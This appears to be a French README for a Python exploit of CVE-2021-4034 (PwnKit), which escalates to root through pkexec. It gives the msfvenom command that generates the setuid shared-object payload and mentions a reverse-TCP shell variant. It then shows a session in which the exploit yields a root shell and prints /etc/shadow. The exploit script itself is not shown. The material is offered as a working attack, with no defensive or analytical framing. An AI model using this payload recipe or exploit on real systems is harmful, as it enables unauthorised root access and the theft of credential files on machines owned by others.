
Exploit Python pour CVE-2021-4034 (PwnKit) qui élève les privilèges à root via pkexec, générant un shell root avec des payloads msfvenom.
Code Python3 pour exploiter CVE-2021-4034 (PWNKIT). C'était un exercice pour « est-ce que je peux faire fonctionner ça en Python ? », et pas destiné à être un exploit robuste. Ça fonctionne chez moi, il y a probablement des bugs.
La charge utile par défaut lance un shell en tant que root, généré à partir de msfvenom :
msfvenom -p linux/x64/exec -f elf-so PrependSetuid=true | base64
J'ai aussi testé linux/x64/shell_reverse_tcp. Assurez-vous d'inclure
l'argument PrependSetuid=true à msfvenom, sinon vous obtiendrez juste
un shell en tant qu'utilisateur et pas root.
Le code est emprunté à blasty, l'original est disponible ici
$ python CVE-2021-4034.py
[+] Création de la bibliothèque partagée pour le code de l'exploit.
[+] Appel de execve()
# id
uid=0(root) gid=1000(jra) groups=1000(jra),4(adm),27(sudo),119(lpadmin),998(lxd)
# whoami
root
# head /etc/shadow
root:*:18709:0:99999:7:::
daemon:*:18709:0:99999:7:::
bin:*:18709:0:99999:7:::
sys:*:18709:0:99999:7:::
sync:*:18709:0:99999:7:::
games:*:18709:0:99999:7:::
man:*:18709:0:99999:7:::
lp:*:18709:0:99999:7:::
mail:*:18709:0:99999:7:::
news:*:18709:0:99999:7:::
#